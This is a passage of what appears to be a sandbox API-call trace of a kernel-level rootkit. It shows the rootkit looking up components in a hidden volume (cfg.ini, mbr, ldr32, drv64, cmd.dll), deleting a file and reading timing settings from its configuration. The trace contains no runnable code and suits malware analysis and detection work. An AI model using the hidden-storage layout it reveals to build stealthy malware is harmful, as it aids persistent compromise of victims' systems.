_strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.950] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.950] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.950] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.950] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.950] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.950] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.950] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.950] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.950] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.950] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.950] KeLeaveCriticalRegion () [0124.950] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.950] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.950] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.950] KeEnterCriticalRegion () [0124.950] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.950] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.950] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.950] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.950] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.950] IdePortDispatch () returned 0x103 [0124.951] KeWaitForMutexObject () returned 0x0 [0124.951] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.951] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.951] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.951] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.951] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.951] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.951] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.951] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.951] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.951] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.951] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.951] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.951] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.951] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.951] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.951] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.951] KeLeaveCriticalRegion () [0124.951] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.951] ReleaseMutex (hMutex=0x100) returned 1 [0124.951] Sleep (dwMilliseconds=0x2bf20) [0124.957] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6dacdd90, dwHighDateTime=0x1d24fa4)) [0124.957] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.957] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.957] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.957] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.958] KeEnterCriticalRegion () [0124.958] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.958] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.958] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.958] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.958] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.958] IdePortDispatch () returned 0x103 [0124.958] KeWaitForMutexObject () returned 0x0 [0124.958] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.958] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.958] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.958] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.958] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.958] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf48a0 [0124.958] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.958] KeLeaveCriticalRegion () [0124.958] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.958] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.958] KeEnterCriticalRegion () [0124.958] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.958] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.958] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.958] KeLeaveCriticalRegion () [0124.958] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.958] KeEnterCriticalRegion () [0124.958] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.958] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.958] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.958] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.958] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.958] IdePortDispatch () returned 0x103 [0124.959] KeWaitForMutexObject () returned 0x0 [0124.959] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.959] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.959] KeLeaveCriticalRegion () [0124.959] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.959] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.959] KeEnterCriticalRegion () [0124.959] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.959] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035ec000 [0124.959] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.959] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.959] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.959] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.959] IdePortDispatch () returned 0x103 [0124.959] KeWaitForMutexObject () returned 0x0 [0124.959] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.959] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.959] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.959] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.959] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.959] IdePortDispatch () returned 0x103 [0124.959] KeWaitForMutexObject () returned 0x0 [0124.959] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.959] KeLeaveCriticalRegion () [0124.959] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.960] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.960] KeEnterCriticalRegion () [0124.960] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.960] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.960] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.960] KeLeaveCriticalRegion () [0124.960] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.960] KeEnterCriticalRegion () [0124.960] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.960] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.960] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4960, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.960] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.960] KeLeaveCriticalRegion () [0124.960] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.960] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.960] KeEnterCriticalRegion () [0124.960] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.960] ExFreePoolWithTag (P=0xfffffa8003bf48a0, Tag=0x0) [0124.960] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.960] KeLeaveCriticalRegion () [0124.960] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.960] ReleaseMutex (hMutex=0xf0) returned 1 [0124.960] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.960] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.960] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.960] KeEnterCriticalRegion () [0124.960] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.960] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.960] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.960] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.961] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.961] IdePortDispatch () returned 0x103 [0124.961] KeWaitForMutexObject () returned 0x0 [0124.961] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.961] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.961] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.961] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.961] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.961] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf4740 [0124.961] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.961] KeLeaveCriticalRegion () [0124.961] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.961] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.961] KeEnterCriticalRegion () [0124.961] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.961] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.961] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.961] KeLeaveCriticalRegion () [0124.961] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.961] KeEnterCriticalRegion () [0124.961] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.961] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.961] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.961] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.961] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.961] IdePortDispatch () returned 0x103 [0124.961] KeWaitForMutexObject () returned 0x0 [0124.962] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.962] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.962] KeLeaveCriticalRegion () [0124.962] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.962] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.962] KeEnterCriticalRegion () [0124.962] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.962] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035ed000 [0124.962] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.962] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.962] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.962] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.962] IdePortDispatch () returned 0x103 [0124.962] KeWaitForMutexObject () returned 0x0 [0124.962] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.962] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.962] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.962] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.962] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.962] IdePortDispatch () returned 0x103 [0124.962] KeWaitForMutexObject () returned 0x0 [0124.962] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.962] KeLeaveCriticalRegion () [0124.962] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.963] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.963] KeEnterCriticalRegion () [0124.963] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.963] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.963] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.963] KeLeaveCriticalRegion () [0124.963] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.963] KeEnterCriticalRegion () [0124.963] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.963] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.963] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.963] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.963] KeLeaveCriticalRegion () [0124.963] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.963] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.963] KeEnterCriticalRegion () [0124.963] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.963] ExFreePoolWithTag (P=0xfffffa8003bf4740, Tag=0x0) [0124.963] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.963] KeLeaveCriticalRegion () [0124.963] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.963] ReleaseMutex (hMutex=0xf0) returned 1 [0124.963] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.963] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.963] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.963] KeEnterCriticalRegion () [0124.963] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.963] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.963] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.963] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.963] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.963] IdePortDispatch () returned 0x103 [0124.964] KeWaitForMutexObject () returned 0x0 [0124.964] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.964] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.964] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.964] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.964] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.964] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bef130 [0124.964] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.964] KeLeaveCriticalRegion () [0124.964] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.964] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.964] KeEnterCriticalRegion () [0124.964] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.964] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.964] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.964] KeLeaveCriticalRegion () [0124.964] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.964] KeEnterCriticalRegion () [0124.964] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.964] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.964] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.964] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.964] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.964] IdePortDispatch () returned 0x103 [0124.964] KeWaitForMutexObject () returned 0x0 [0124.964] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.964] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.964] KeLeaveCriticalRegion () [0124.964] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.965] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.965] KeEnterCriticalRegion () [0124.965] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.965] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035ee000 [0124.965] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.965] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.965] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.965] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.965] IdePortDispatch () returned 0x103 [0124.965] KeWaitForMutexObject () returned 0x0 [0124.965] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.965] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.965] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.965] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.965] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.965] IdePortDispatch () returned 0x103 [0124.965] KeWaitForMutexObject () returned 0x0 [0124.965] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.965] KeLeaveCriticalRegion () [0124.965] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.966] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.966] KeEnterCriticalRegion () [0124.966] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.966] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.966] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.966] KeLeaveCriticalRegion () [0124.966] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.966] KeEnterCriticalRegion () [0124.966] ExAcquireFastMutexUnsafe (in: 